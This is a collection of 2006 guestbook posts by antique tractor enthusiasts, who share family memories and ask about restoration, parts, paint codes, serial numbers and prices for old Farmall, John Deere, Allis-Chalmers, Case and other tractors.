Gary Stark wrote on Tuesday, October 17, 2006 (PDT):A used 1928 model D was the first tractor my dad owned. It had steel wheels which he had converted to rubber tires. It's bigest drawback was the fact that it had only two forward speeds. He bought another, styled, model D in the mid 40s which had more power (38 drawbar hp) and three speeds forward. It served us well but my dad always wanted more power so he traded it for a new 1949 WD-9 International diesel.
Kumaran Spaulding wrote on Monday, October 16, 2006 (PDT): I have a 1950 case DI hough loader/ backhoe and am looking for info on how I can get a hold of two rear wheels. The rear wheels that are on it now are all rusted out do to the leaking calcium. So any info would be very greatly appreciated. Thankyou.
David Redfearn wrote on Monday, October 16, 2006 (PDT):I have a 1946 Allis but am having trouble keeping it running. She starts all the time but as soon as I give it gas it stops. I cleaned the carb but have a question does the oil pressure have any thing to do with keeping the tractor running?
Phil wrote on Monday, October 16, 2006 (PDT):Any one know the where abouts of my old 1950 series 3 Field Marshall reg number NBH486. I sold it to a guy from Somerset back in about 1975/6. Anyone with information about it I would be pleased to here from you. regards Phil
Emily wrote on Sunday, October 15, 2006 (PDT): i recently brought a Farmall c and a cub the cub came with a belly mower and the C came with a plow behind tiller. both of these tractors run like a clock we are about to do a restoration jo. if anyone cam give me the value of these items please do so
Roman Vice wrote on Sunday, October 15, 2006 (PDT):My dad says he and my grandfather had a M-38 John Deere crawler [bulldozer] back in the late fiftee's ,as our family tradition goes this machine was probably nearly an antique then. I have shown him some pictures that I have gotten off the net of what I thaught he was talking about ,all he says is "naw,, its before that one" anyone ever heard of an M-38 thanks Roman Vice
Wendy L. wrote on Sunday, October 15, 2006 (PDT):I don't know one thing about tractors, or repairing them, but have some questions. I have a horse and there is a Farmall 140 tractor with mower deck for sale on the way to my horse. I'm tired of looking at it and think it needs a good home! The only thing that was legible are the numbers 44232J--what are these numbers and what do they mean? The people who own this tractor are asking $3,500. for it but it looks like it's seen better days! Can anyone tell me if this is a fair price, or if it's over priced; is there a Kelly Blue Book for tractors? I'd like to have it to mow pastures.... But it looks like a candidate for restoration. ;)
Ralph Miller wrote on Sunday, October 15, 2006 (PDT):Looking for a ac G ..with complete garden tools and attachments...would like La. area but am willing to travel for a working model G
DAVE FULKS wrote on Sunday, October 15, 2006 (PDT):IAM LOOKING FOR A GOOD IMPELLER SHAFT OR A GOOD WATER PUMP FOR A 1931 T 20 ALSO FENDERS.
Riley Mcconnell wrote on Saturday, October 14, 2006 (PDT):Looking for an early JD H, will pay top dollar. Doesnt have to run, just love these little tractors. Can anyone help? Around the midwest area preferably. Thanks
Mark Standley wrote on Saturday, October 14, 2006 (PDT):I have recently traded a tractor for a lindeman crawler. It is in fair shape, it runs but one of the stearing clutches is froze.How can I find what year it is and where is the best place to get parts?
Ed wrote on Saturday, October 14, 2006 (PDT):We own an 1947 Farmall H. Gear on distributor is worn out and in need of new. The old is a tapered gear - replacement part from 'Antique Tractor' looks like a straight gear. Where can we find a replacement?
Chris koerner wrote on Thursday, October 12, 2006 (PDT):I live in western Ny, and i have a 1951 UTU. It is really a great tractor. I love it.
Kevin Currie wrote on Thursday, October 12, 2006 (PDT):Looking for front snow blade for pony tractor please e-mail me.
Rocky wrote on Wednesday, October 11, 2006 (PDT):I inherited (2) Allis-Chalmers tractors from my Dad in fair condition. Will sell for a fair price.
Bob Welk wrote on Tuesday, October 10, 2006 (PDT):I am an 1947 Oliver Standard 80 ex owner, used it all the time in Nebraska wheat and corn crops until I sold it on farm sale and moved to the city. Loved that tractor, it did everything that had to be done except cultivating the corn.I did not take any pictures of it but would like to purchase one, suitable for framing,any ideas?
Butch Johnson wrote on Monday, October 09, 2006 (PDT):I would like to up the horsepower on an M Farmhall for using in antique tractor pulls
Kaaren wrote on Monday, October 09, 2006 (PDT):I have a front end loader on my tractor. I am interested in selling it now. Have not had any use for it for 5 years.
Tweed Vorhees wrote on Monday, October 09, 2006 (PDT):The sale for Uncle Cy's row crop 60 is thur 10/19/06 in stone creek, oh. I never did locate a tag with any id number so we still dont know exactly what year it is, but it will sell with a cultivator attached and it has been all repainted and re-stickered, etc. Anyone with any help can email me at vorhaus at verizon.net -- still looking for an approx value. Someone please help!!
Anne Coish wrote on Saturday, October 07, 2006 (PDT):I am wondering what year our tractor is? Serial number is TE 88205
Lisa Kerner wrote on Thursday, October 05, 2006 (PDT):My father is looking for the paint numbers and where to purchase paint for a 1947 cocksutt that he is restoring. As a young man he owned this tractor and then sold it and had the oppertunity to repurchase it again a few years ago.
dallas gronefeld wrote on Thursday, October 05, 2006 (PDT):need help ;did ac have a front weigth bracket for the flat weigths like the d17 se.1v had?
Ed Winkle wrote on Thursday, October 05, 2006 (PDT):I have a copy of a picture of my dad and grandpa on what looks to be one of these, taken about 1920. I am interested in learning more about this tractor.
Shauna Yeagle wrote on Thursday, October 05, 2006 (PDT):If you need any information please let me know. I'm the editor of the Sheppard Newsletter and I can get you incontact with the right person Thanks Shauna
ken jackson wrote on Wednesday, October 04, 2006 (PDT):help help 560 gas carb frost up and the thing dies(p[lease help me I need this thing to run )
David Holbrooks wrote on Wednesday, October 04, 2006 (PDT):I have a 1949 Massey Harris Pony tractor for sale. It is listed on e-bay. Enter in your search Massey Harris (ferguson)Pony Farm tractor 1949 and it should come up. My email address is lvholbrks at yahoo.com
Fridtjof Bergmann wrote on Wednesday, October 04, 2006 (PDT):I am looking to buy a Massey Harris Pony tractor location does not matter pls send me an email with photos and detailed info on condition
Luke wrote on Tuesday, October 03, 2006 (PDT):I have a 1962 model GIV moline,My dad bought the tractor in 1978 from a auction out in western Okla. We used it for our main tillage tractor till 1984, when we replaced it with a larger tractor. Machine still runs good and looks pretty good for original paint and all,tach shows around 3,000 hours. With a little atention it could be a full timer again. I learned how to drive that tractor when I was nine years old, I'm now thirtyseven. Prairie Gold Forever!
Jim Strezos wrote on Tuesday, October 03, 2006 (PDT):I have a cockshutt 40 for sale. The tractor tin is in mint shape,it does run but needs to be restored.2500.00 O.B. Beaverton, Ontario. 1705-426-4343. Call after 6;00 PM
Jim Strezos wrote on Tuesday, October 03, 2006 (PDT):I have a cockshutt 40 for sale. The tractor tin is in mint shape,it does run but needs to be restored.2500.00 O.B. Beaverton, Ontario. 1705-426-4343. Call after 6;00 PM
Royce Stewart wrote on Monday, October 02, 2006 (PDT): I have always like the Allis Chalmers tractors and other equipment. I would like to find a 1936-42 Model A to restore , a long range project.
Horsey wrote on Monday, October 02, 2006 (PDT):HEy ya'll i have a MT myself and i think its an awesome tractor! does anyone know what a 1952 mt would be worth in running condition? not restored though it also has a JD 40 loader on it that works... whats that worth?
Mike Lowe wrote on Sunday, October 01, 2006 (PDT):saw a 69 G 900 at an auction yesterday they wanted $5500 good looking tractor showed 3842 hours on the meter , sounded good [diesel] it didnt sell
John Sullivan wrote on Saturday, September 30, 2006 (PDT):I own the 1950 Case SC that I grew up on. My dad bought the tractor new. I am looking for an Eagle hitch for it and would love to know how to find out the horsepower. Thanks, John
Bernie Wiklund wrote on Friday, September 29, 2006 (PDT):I just bought an AC model C in really nice condition. It has been pretty much restored, and runs fine. I paid $2750 for it, which included a cultivator and delivery to my place the same day, about a 5 mile drive from Greenberg Implement in Nowthen, MN. My question; Was a 24" buzz saw accessory ever made for the C? My father-in-law had one on his AC model B, and I'd like to find one for my C. Bernie Wiklund in Ramsey, MN
Hal Lougheed wrote on Friday, September 29, 2006 (PDT):I have owned a Oliver 550 tractor bought new in 1959,still running in excellent condition,this has been the best small tractor that i have farmed with for years,am now retired but still use this tractor on my acreage all year around,i also tractor pull with it in the antique class 1 and it is very competitive for a small tractor.lots of power and good gear ratio for this. Edmonton,Alberta.Would be interested in purchasing a good used 1959 or 1960 model.
B.J. Wolf wrote on Friday, September 29, 2006 (PDT):I am restoring an AC WD45 and want to repaint it. I am just wondering the paint scheme of the grill because this tractor has a white grill. If someone could help me out on the colors in accordance of the years manufactured.
angie cupp wrote on Thursday, September 28, 2006 (PDT):My husband has a 720 John Deere he is in the process of restoring and he would like a diagram or picture to show where the exact placement of the decals should go. Thanks a lot.
Ethan wrote on Thursday, September 28, 2006 (PDT):I would buy and restore the c.
Don Longenecker wrote on Thursday, September 28, 2006 (PDT):Did the AC-B have silver rims on all wheels with they came off the production line?
David Gilbert wrote on Thursday, September 28, 2006 (PDT):I have a F-20 ser. #FA44974, we are restoring and we would like to know the year aand color, we are the only owner and it goes back 5 generations. Thank you
Josh Snow wrote on Wednesday, September 27, 2006 (PDT):My father and i own and run a dairy farm in sothern indiana and we are looking for a bigger tractor to do our heavy work with. we have a 180 that has been turned up to put out more horse at about 110hp but we are expanding our farm and the 180 is getting a lot of hours on it. So does anyone have a tractor ranging from a 190 to a 220 for sale or know of one that is?
Laurie Suttmeier wrote on Wednesday, September 27, 2006 (PDT):We have a 560 diesal that we have been using on our farm, we just love it. Unfortunately, my uncle just tore down the engine - the head had several cracks in it. Does anyone have any idea where we could find a replacement head? Please respond with ANY thoughts.
Steve wrote on Tuesday, September 26, 2006 (PDT):I'm looking to fix a tractor like this one for fair
howard williams wrote on Monday, September 25, 2006 (PDT):I am presently restoing a 1952 Model R. Have all the mechanical work done and painted. Now for the sheet metal. My fenders are a real mess. Have the left one ready for paint. Both had rust holes to be repaired. The tractor ran good when I bought it. The sprag shaft in the pony motor was cracked. Had to replace it, otherwise it was ok. Looking forward to showing it this comming spring in the N.C. area.
Tweed Vorhees wrote on Monday, September 25, 2006 (PDT):My wife's uncle owns a row crop 60 that he bought new. It has been in use on his farm until this summer when he had to go to a nrusing home ( he is 86 now). The tractor runs and works just fine. I need to know how to identify exactly what year it is -- obviously it is 1940 - something. It there an ID tag somewhere? tell me where so i can find it. We want to sell the tractor now that unlce Cy will never go back to the farm. We are going to have farm sale and sell all of his possessions next month. We need to get an approximate value for the tractor, too. It would be an ideal restoration project as all sheetmetal and tin is intact just as it was purchased some 55 years ago. Please email me if you can give me any info or if you know someone who would be interested in buying it for restoration. It is located in central OHIO. Thanks - Had it running last saturday -- hit the starter - and it popped right off - sits there and runs like a top!!
Dennis Bergo wrote on Sunday, September 24, 2006 (PDT):My son had a restored 1949 JD he looked forward to driving after his tour of duty in the Army.... he loved this tractor... God Bless America!!!
Larry French wrote on Sunday, September 24, 2006 (PDT):I,am looking for a back hoe that will fit on an old massey ferguson with a three point . Thanks so much larretired
MI Mark wrote on Sunday, September 24, 2006 (PDT): Dad has one of the last years production H's 1953 still uses it and not for sale his dad bought it new. I could go out and see what the serial no. is .
Julie Lindeman-MacDonald wrote on Sunday, September 24, 2006 (PDT):My father is looking to buy a Lindeman Crawler to restore. Please let us know if you have one for sale. Thanks!
Scott wrote on Saturday, September 23, 2006 (PDT):I've got a decent running unrestored B. Can the rear end be narrowed to BN or A width by using the axle housing from those tractors? Or anyone interested in trading an A for my B? I'm in NW Iowa. Scott
Matt Parker wrote on Saturday, September 23, 2006 (PDT):Hi I just purchased a 1952 John deere G for a pulling tractor and it has been stroked and bored by merfeilds and I was wanting to know if any one has another G 1950 or above that has a stuck motor or anything that they would like to get rid of please email me some info. about the tractor with some photos and I will get back to them as soon as possible thaks! My email is gitterdone_10 at yahoo.com
Randy wrote on Friday, September 22, 2006 (PDT):A 1943 SC Case was my dad's favorite tractor. The suspension seat and increased power was a huge jump from his first tracror, a 1936 Farmall F12. Dad said he never got tired working the Case in the field, and he loved the hand clutch. We still have his tractor here on the farm and until recently was a working tractor. Evidently a Case 4JMA magneto is not a common unit and ignition points are not available. I have explored the internet for replacement parts to no avail - any of you Case experts got a line on any 4JMA ignition points?
Zack Skrabanek wrote on Friday, September 22, 2006 (PDT):I'm 15 and I'm restoring a L or LA for an ag prodject. It is missing the belly pan. If you have one or know someone that does and you live around the Central Texas area please e-mail me know. Thanks!!!
D. VATH wrote on Thursday, September 21, 2006 (PDT):there are two reservoirs Transmission and Rear End. I usually fill til it comes out the side flow plug. The rear end... it depends if you are using a loader... the hydraulics oil comes from the rear end. If you are interested I can send you scan of manual page... doug
Halliday Dennis wrote on Thursday, September 21, 2006 (PDT):we have a feild marshal tractor to sell and a cat crawler feil marshal and parts
Mike Boyce wrote on Wednesday, September 20, 2006 (PDT):I have a 1948 Case VAO Runs like a top has eagle three point hitch no orchard fenders ,I have converted to 12 volt . Starts well runs great . I bought it for 300.00 was in a field for I dont know how long. What I need is a rear wheel mine is rusted through Could us hood and grill sheetmetal if any availible Call me any time 503 487-7679 any club info would be great. Thanks Mike in Dundee Ore
Don Dolick wrote on Sunday, September 17, 2006 (PDT):I am looking to purchase a circa 1940, 1941 wide front Silver King tractor and would like to know approximate values of these tractors in restored condition. Thanks!
Lester D. Bausch wrote on Saturday, September 16, 2006 (PDT): I have no idea as to when We aquired our "Regular" but it was the first tractor my Dad had on our farm. I beleive he bought it on steel and converted it to rubber. I remember he was comming back to the house going through some native grass land and hit a tree stump and knocked the front end out from under it. We bought an old junked "Regular" and used the front end. Eventually we only used it to cultivate corn, sometime having to pull it to get it started. We finaly had to quit using it in about 1962.
David Edgar wrote on Saturday, September 16, 2006 (PDT): I live in a place called Tapanui which is in the South Island of New Zealand and I have a 1947 M.D.It is the only one that we no of still in the country.We believe that there were five of this modle that came to New Zealand.I also own a Farmall H.V. which is also quite rare in New Zealand.Anyone interested can contact me at the above e.mail address.
A Cranney wrote on Friday, September 15, 2006 (PDT):I am in the process of restoring a 1952 JD MT similar to the one in the photo. I was able to get it running right away. The brakes or lack there of are my first challenge. I'm having to fabricate the lever brackets myself because they are not available. My next challenge is locating the nose and hood sheet metal. Any leads on those items from anyone.
Clyde wrote on Friday, September 15, 2006 (PDT):My landlord has John Deere 420C for sale Running condition contact Tom Shepard at330-538-3617 in North Jackson,Ohio
Clyde wrote on Friday, September 15, 2006 (PDT):My landlord has John Deere 420C for sale Running condition contact Tom Shepard at330-538-3617 in North Jackson,Ohio
Clyde wrote on Friday, September 15, 2006 (PDT):My landlord has John Deere 420C for sale Running condition contact Tom Shepard at330-538-3617 in North Jackson,Ohio
Don Schutt wrote on Friday, September 15, 2006 (PDT):Have a 1948 jd m I got in Florida, did major restoration and trucked to NY. Runs great. Used several times here for community hay rides. Trail was altered so tractor just sits now. Would consider selling. Engine totally rebuilt with 50 hours since then. New rubber front and rear, wide front end, spindles rebuilt with new bearings, seals etc. Genereal condition excellent. pictures at www.iotopia.com/for_sale then click on the underlined "1948 John Deere M tractor." Tractor has wheel weights front and rear. Asking $5,000.
Buddy Medlock wrote on Wednesday, September 13, 2006 (PDT):I found two Avery v tractors. One is less engine, the other is less manifold.These two tractors have cast iron radiator shells, with mesh grills. Every picture I have saw has a stamped steel grill. Can any on give me any input on these tractors. contact me at medlockracing at ipro.net THANKS
david shea wrote on Tuesday, September 12, 2006 (PDT):I have a case "vai" tractor and i am looking for parts, mainly exhaust.
Jimmick wrote on Tuesday, September 12, 2006 (PDT):I have a John Deere #9 sickle bar mower that I have used but know that I am mounting it incorrectly. It hook up to the 3 point alright, but the front end of the pull bars are not connected to anything and I cannot see any place for them to hook up to. Any suggestions? Thank you, Jim
Mark Thompson wrote on Tuesday, September 12, 2006 (PDT):Hi I just found a old model 99. the style with cast radiaor sides and OLIVER cast on the front. It has been setting outside for a very long time as all the rubber is very dry rotted. what should i offer for it.
tracy wrote on Tuesday, September 12, 2006 (PDT):I saw a 8n made into a sprayer with chane drive
tracy wrote on Tuesday, September 12, 2006 (PDT):I have a 1942 M and for years we used it as a loging tractor and all it dose now is bushog and parades it dosent do a lot of manuel laber but I love the M its grate all the power you need and still fits in tihet spots
Charlie Fisher wrote on Tuesday, September 12, 2006 (PDT):I am restoring a 1958 IH 350UD .Would anyone know the true colors and the code #s to order paint for this tractor.Also how to pull the jack shaft between the two clutches so i can remove the torque amplifier clutch.thank you....
Dan wrote on Tuesday, September 12, 2006 (PDT):I currently have a working WD. Looking for a D15 II to replace the WD (so I can restore). Are the two tractors similar in physical size. Have not had much luck finding specs for the D15 II. i.e. weight, height, wheel base, width etc.
R.A. Waldon wrote on Tuesday, September 12, 2006 (PDT):Does anyone know the gear ratio of a Allis Challmers WD & WC.
Robbie wrote on Monday, September 11, 2006 (PDT):Just finished reading all of your wonderful stories about your 55's.I have my Grandpa's gas 55 and plan to restore it a little here and there during the summer months after using it almost 2 or 3 times weekly.It runs excellent but needs to be converted to a 12 volt system,if anyone has any suggestions i would appreciate any advice. I am in desperate need of a backhoe that would fit this oliver or at least something closely adaptable.I am trying to repair my grandfathers old farm with old well and septic along with barns in need of lots of repairs.I am partially disabled and live on a small budget,but love my 55 and the farm and believe this is my motivation to keep going.If anyone knows of any backhoe attatchment and a pto kit,(my 55 never had a pto installed and would like to find one so i could then hook up a 3 point mower to cut the larger part of the property)Please e-mail me at robbietpa at yahoo.com.Thank you for this website and lets keep these old tractors alive.Goog Luck to all of you and your 55's and restorations.Robbie ;)
kenny wrote on Monday, September 11, 2006 (PDT):looking for a pacer any shape pa 814 832 3535
Marc Hensley wrote on Monday, September 11, 2006 (PDT):Mr. Hansen, I would love for you to email me if you are still interested in a sickle bar and pulley for your MHPony, I think I may have what you are looking for, we dont intend to use them we are making a parade machine only and we would be glad to send some photos of the equipment so you could determine if its what you want.
Kraig wrote on Monday, September 11, 2006 (PDT):I figured out after I bought the wrong seat for my tractor that I have a VAO, I have a seat from a VA, is there a metal pan seat that came on these tractors or one with a cushion? And is there a chance of getting the sheet metal to make it back into an orchard model?
BA in NC wrote on Saturday, September 09, 2006 (PDT):Saw two Super 99 Diesel and two 990 diesel today at a tractor pull. What a wonderful sound that GM diesel has. Sorta like a bus dragging a loaded dump truck.
John Hutchins wrote on Saturday, September 09, 2006 (PDT):My dad bought a MHPony in 1957 new, in fact traded a team of horses in on it. I can tell you that tractor did a hell of a lot of work and burned almost nothing for gas. It was a great tractor for the garden,haying, and yarding and cutting firewood.A bit too small to tow a bailer, but it would mow and rake hay as fast as any big tractor. My dad still has it and it's still in pretty good shape, except the steering box is worn making steering hard and sloppy.Would like to replace the steering box for him as hes 85 years old and still uses it. Anyone have one?
KEITH wrote on Saturday, September 09, 2006 (PDT):i striped 3 point linkage 8 years ago anyone one got pictures how to rebuild it is model B 1953 restoration shoud be coplete march 2007
L Dykeman wrote on Saturday, September 09, 2006 (PDT):Looking to buy a Hart Parr 18-36 Hand Crank - please contact me if you know where I can find one.
DARREN wrote on Friday, September 08, 2006 (PDT):MY GRANDPA FARMED WITH WHAT I THINK IS A 1957 44 OR A SUPER 44. IT WAS GIVEN TO MY DAD THEN HE BOUGHT 2 MORE FOR PARTS AND WAS GIVENANOTHER. WE HAVE 2 RUNNING NOT RESTORED. BUTWOULD LIKE TO KNOW MORE ABOUT THE TRACTORS ?I LOVE DRIVEING THE 2 WE HAVE.WE STILL MAKE A SMALL GARDEN AN DISC FOOD PLOTS WITH BOTH TRACTORS
randy keene wrote on Friday, September 08, 2006 (PDT): I recently purchased a 1947 wc in excellent condition with new tires and good paint. i am new to tractor collecting and have three units total. i also have a mid fifties ferguson and a farmall 300 both in good condition. antique tractor collection appears to be a fun disease.
Jarad wrote on Thursday, September 07, 2006 (PDT):I just recieved a Styled John Deere Model 'B' and not sure what year this tractor is,as my grandad passed away in 1979 nobody knows anything about this tractor. I am in the process of restoring it. It is almost unbelieveable, this tractor has set outside for the last 30 years atleast and not run in the past 20 years and the motor is not stuck. needs paint new tires decals both axle shafts,as the previous owner cut them off to fit into his barn.anybody with any information or restoration tips please feel free to contact me. Thanks alot
KELLY ONEAL wrote on Thursday, September 07, 2006 (PDT):I AM WANTING TO BUY A GOVERNER GEAR, WEIGHTS, PINS, AND CLIPS OR GOVEROR ASSWMBLY FOR A D17 ALLIS CHAMBERS TRACTOR, IT IS GASOLINE, 4 CYLINDER. I LIVE IN SAYRE, OKLAHOMA 580-243-8820 EMAIL deadmanwalkin66 at sbcglobal.net
jerry beebe wrote on Wednesday, September 06, 2006 (PDT):I bought an ac wd. Serial #wd73147. The number on the engine is wd279941ga (the g could be a 6 or an 8). Any way to tell what year it was made?
Brandon Stahl wrote on Wednesday, September 06, 2006 (PDT):restoring 36 oliver hart parr 70 need to find engine parts and sheetmetal parts. please help
graham partridge wrote on Wednesday, September 06, 2006 (PDT):i have a dynamo braket for sale its been made copying an original one i got it made for my ser 1 contractor but then a original rusty one turned up and as my ser 1 is rusty ive used the original one.
Andrew Everett wrote on Wednesday, September 06, 2006 (PDT):i am looking to restore my first tractor which would be a better one to restore i have found a massy harris and a farmall c any comments would be welcomed
Penny Coggins wrote on Tuesday, September 05, 2006 (PDT):I have a John Deere 80, that is for sale,it has been completely restored and in very good condition. After it was restored the tractor has only has been used to show.
Larry Cone wrote on Tuesday, September 05, 2006 (PDT):I am Looking for a 140 to cultivate with on terraces on the side of my mountain in Cave Spring Ga. I am retired and am looking for an A or 140 to restore as well.My neighbor had a 140 when I worked in the tobacco patch as a young boy. I have fond memories of the red 140.
Michael Lipscomb wrote on Monday, September 04, 2006 (PDT):My Dad is restoring a 1958 541-4 high clearence offset Ford tractor with 38 inch rear tires. Do you know where you can get parts and about how many were built?
Dennis Begyn wrote on Monday, September 04, 2006 (PDT):any info on a hieder/rock island. My tractor has both names stamped on it at the same time. 309-235-7223
Val Satala wrote on Sunday, September 03, 2006 (PDT): What is the capacity of oil for the gear box on a Ford Super Dexta approximate age 1962? Please hurry with information Thank you
Ida Red wrote on Sunday, September 03, 2006 (PDT):Just acquired a 1955 S44D with good tin and complete condition but it needs a rear rim 30" and likely new injectors.Can anyone help me out. Red
Rev. David Brooks wrote on Saturday, September 02, 2006 (PDT): I have a massy harris 44 I pull at tractor pulls Please send me all things so I can out more about my tractor thankyou rev.brooks e-mail revdavidb2006 at yahoo.com
Larry Brady wrote on Saturday, September 02, 2006 (PDT):I am looking for a book or a web site that has IH Serial numbers listed that will tell me all the information on that tractor. Thank You
Jim wrote on Wednesday, August 30, 2006 (PDT):I am 15 and restoring a 1948 70 RC. Went to start it for the first time in 20 years, it started after about 2 or three hours and 2 cans of parts cleaner and a can of starting fluid (It was in the back of out tool shed for those 20 years). Fun and simple tractor to drive. First time driving it my dad and I over heated it. Put TWO GALLONS of water in the coolant system and now the gauge barely goes up. I was suprised to find all three gauges work.
Todd Westra wrote on Tuesday, August 29, 2006 (PDT):My grandfathers first tractor was a 1940 H Dual fuel with no electric. After the war my dad and grandfather added lights and starter. At the same time they changed heads and manifold to run on straight gas.. Years ago we overhauled it and got it running again. This winter I hope to get it restored to show room condition along with his H-210 mounted corn planter. Hope to make it a show stopper.
Tom wrote on Monday, August 28, 2006 (PDT):David Furhop, I have tried to reply to your e-mail regarding the Super 44. My e-mails will not go through to you. I have no idea about values. I also have an Oliver OC3 to work on. Can't seem to get my heart into it. I'll have the super running asap. I took the head off. The cylinder walls are smoothe and without rust. There is some build up on one or two valves. It appears the head gasket might have leaked. Any idea on the best place to get a new head gasket
Ron Steffler wrote on Monday, August 28, 2006 (PDT):Question?I am not an engine mechanic!! I use a 460 Farmall for pulling, I feel that the RPM's could be increased and or the governor set up.Why does the governor rev real high when I pull the throttle back but when I need more rpms when i near the end of a pull I dont get it. Is there any thing I can do to adjust the carb and or the governor?/ I appreciate any help I can get. Thank you, Ron
Eric Hammersland wrote on Monday, August 28, 2006 (PDT):Just purchased an LA and have discovered gas tank & gas cap are bad. Anyone know where I may find replacements? Thanks!!
Clark Will-Lincoln,NE wrote on Monday, August 28, 2006 (PDT):Way back in 1965 I drove a 'Minny' GVI diesel for a construction company one summer. I put quite a few hours on it while pulling an industrial (construction) Rome disc. I still have many fond memories of its' pulling power and ability to walk over very uneven torn up ground on the construction site(rear wheel powered only). I also attended the U of Nebr from 1959-1965 and could watch all the current tractors being tested there. If memory serves me corectly they got the power for the powered front end models from the belly mounted pto..
carrie wrote on Monday, August 28, 2006 (PDT):My husband just purchased a case tractor model 210 B L serial number 612908. Trying to find out some information on it. The year and ect. Can anyone tell me anything about these tractors? Greatly appreciate.
Oliver Carlee wrote on Monday, August 28, 2006 (PDT):Does anyone know where I can locate 3 point hitch parts. Someone removed them from my D12 years ago to pull a hammer knife mower. When I bought the tractor the parts were not to be found.
bill s. wrote on Sunday, August 27, 2006 (PDT):i have an 8n and while cranking it the cam shaft moved sligtly foward and cracked the front engine cover. can smeone inform me on why&how ths happend.
Al wrote on Sunday, August 27, 2006 (PDT):I need plows for my Pacer. Does anyone have any for sale? Has anyone on here converted one for three point hitch?
D. Mackinson wrote on Saturday, August 26, 2006 (PDT):Hi there. Looking for a case 500 in running condition in Illinois.
Gary wrote on Saturday, August 26, 2006 (PDT):I have a 1958 Super 44 my Dad bought that year.It was the first tractor I drove. I was about seven or eight at the time. The tractor is in good shape. I now cleaning the carb., getting ready to start it. It is a jewell;)
Stan wrote on Friday, August 25, 2006 (PDT):Looking to buy a Ford offset tractor, contact me with info and price. Thanks
Dave Tape wrote on Thursday, August 24, 2006 (PDT):Have a 1951 CO-OP E-3 Row Crop Tractor that has been in the family since 1951 when purchased new. Runs like new and we use it to bush hog the property. Also have a two row mounted cultivator that is designed to mount on the frame of this tractor that I would like to sell if anyone is interested in restoring it and mounting it on a restored tractor. Both are on the farm in southern Indiana.
Tom Hamilton wrote on Thursday, August 24, 2006 (PDT):I just inherited a B from my dad. My grandfather (Dad's dad) was an International salesman and sold it to my other grandfather (Mom's dad) who was a farmer. It is a 1940 (sold in 1941) and is perfectly restored. I have the original bill of sale. It's a fun little tractor.
Kyle wrote on Wednesday, August 23, 2006 (PDT):I just picked up a 300 Util., wondering how to determine the model year. Any help?
BOB wrote on Monday, August 21, 2006 (PDT):Just finished restoring a 1957 IH 330 utility and still need a Hyd pump Oem# 368633-R91 or 3698894-R92, also removed a Wagner backhoe and now looking for a complete PTO assy and 3 point hitch assy. Anyone know where I can locate these parts? Pls. E-Mail. Thanks
Bud Rokes wrote on Monday, August 21, 2006 (PDT):I have a MH Pony serial # PGA2290A doesn't match serial number guide...any idea what year?? thanks
dave wilson wrote on Sunday, August 20, 2006 (PDT):I am looking for a 420c or a 40c with a contractors blade (or not) in good working order or older restoration in Southern Ontario. Looking for a winter project. Restored Austin Mini for trade or cash.
Dick wrote on Friday, August 18, 2006 (PDT):I have a 420 crawler loader in working condition for sale. I saw one in just a little porrer condition go at auction in Milwaukee WI for $13,000. These machines are geting more and more scarce. I have recently been to the john deere store and beleve me they know how much to charge for parts. I am looking for $10,000 for this one. A crook I am not, I just know how much these machines are worth.
randy taulbee wrote on Thursday, August 17, 2006 (PDT):hi just bought a complete leader tractor & need a manifold can anyone help?
Erik Hurley wrote on Thursday, August 17, 2006 (PDT):I have a allis chalmer 160 tractor. When you start it up the lift arms come up and won't go back down. They also broke the housing. Need to know what the problem is. Would also like to buy an AC 160 for parts.. thanks
Dennis Lausen wrote on Wednesday, August 16, 2006 (PDT):I have located a Case 600 which doesn't have a serial tag.It is missing the starter but otherwise is intact.Can anyone enlighten me about this tractor as to parts availability , cubic inch displacement ect. It is a diesel.
Norman Godfrey wrote on Wednesday, August 16, 2006 (PDT):Can anyone tell me where the drain plug is for the power director clutch reservoir on a D 17 tractor.The tractor we have has the wrong fluid. please email response Thank you
Joe wrote on Wednesday, August 16, 2006 (PDT):I found a tractor the guy says is a 540. Did they make this tractor centered and not offset or is it a 640. there are no decals on the side. any help appreciated
nick wrote on Tuesday, August 15, 2006 (PDT):how much does it weigh?
brian barnes wrote on Tuesday, August 15, 2006 (PDT):I have a 50s ford 800 tractor. I want to buy a field mower attachment. They come in 4ft,5, or 6ft widths. What size could my tractor pull? I guess it is a 45hp gas.
Marvin Taylor wrote on Tuesday, August 15, 2006 (PDT):Hello; I plan to sell a Case tractor donated to a museum and trying to determine what it is. I can't find a data plate, but found a STAMPED# on the left rear engine-trans flange. It's D 430 3829. Is this the serial#? It looks like pics of an SC or a D. It is complete, been sitting for years, was running when parked years ago. Rear wheels are badly rusted from chloride, tires are shot, but has a wide front end. Any help out there to identify this tractor? The tractor is restorable or abundant parts donor. I have pics, if needed. The tractor is in the Oklahoma panhandle. Thanks, Marvin
cwjohndeere wrote on Monday, August 14, 2006 (PDT):Hey ben giroud I have an orig. manual for the 720 and in the trouble shooting section it says if there is fuel getting into the oil that there are 3 probable causes; 1;Leak at injection pump bracket to cylinder block gasket 2;Leak from loose or cracked fuel line from pumps to nozzles 3;Leak from transfer pump I hope this helps
cwjohndeere wrote on Monday, August 14, 2006 (PDT):I have found a 720 diesel and I am talking the owner into selling it. It has almost new tires sheet metal is completely straight no dents in the grill. One of the guys from my tractor club just sold sold his all orig condition not restored and he got $9000 for it. thats about 3 times more than it cost new I guess the guy that bought it had more money then brains.
B Shaffer wrote on Monday, August 14, 2006 (PDT):How much for the D-21?
Ron Gomorczak wrote on Sunday, August 13, 2006 (PDT):I need help. I own a SUPER C without a 3-point hitch.Will this tractor handle any pull type rotary cutter.Also can this tractor handle a hay operation. If so where can I find this equipment. I live in Rhinelander Wi.
tim wrote on Sunday, August 13, 2006 (PDT):Looking for total vehicle weight of a 48 case vac tractor w/ trike front end
John Heise wrote on Saturday, August 12, 2006 (PDT):I have a 54 Major diesel that my dad bought new. I recently rebuilt the engine and it was running great. The number 1 injector line came apart with the ferrell seperating from the injector tubing. Do you know where I can get a used line or a new line custom made? I am in the process of renovation and have stopped since it can not be ran until I fix the fuel system. I have loved this tractor since I first operated it alone at the age of seven on the family farm.
Merv McNally wrote on Saturday, August 12, 2006 (PDT):I have a 1936 T20. I am looking for someplace to purchase parts.. The part I need most is the intake and exhaust manifold. Can anyone help me find this part?
Pete Kroll wrote on Saturday, August 12, 2006 (PDT):Hello, I'm looking for a 730 diesel wide front or standard tractor. Would like to find one in or a state bordering Nebraska. If anyone has anything, please let me know condition and price. Thanks
josh warner wrote on Thursday, August 10, 2006 (PDT):I'm restoring a 1948 Case LAI for an older man looking for paint code for tractor.
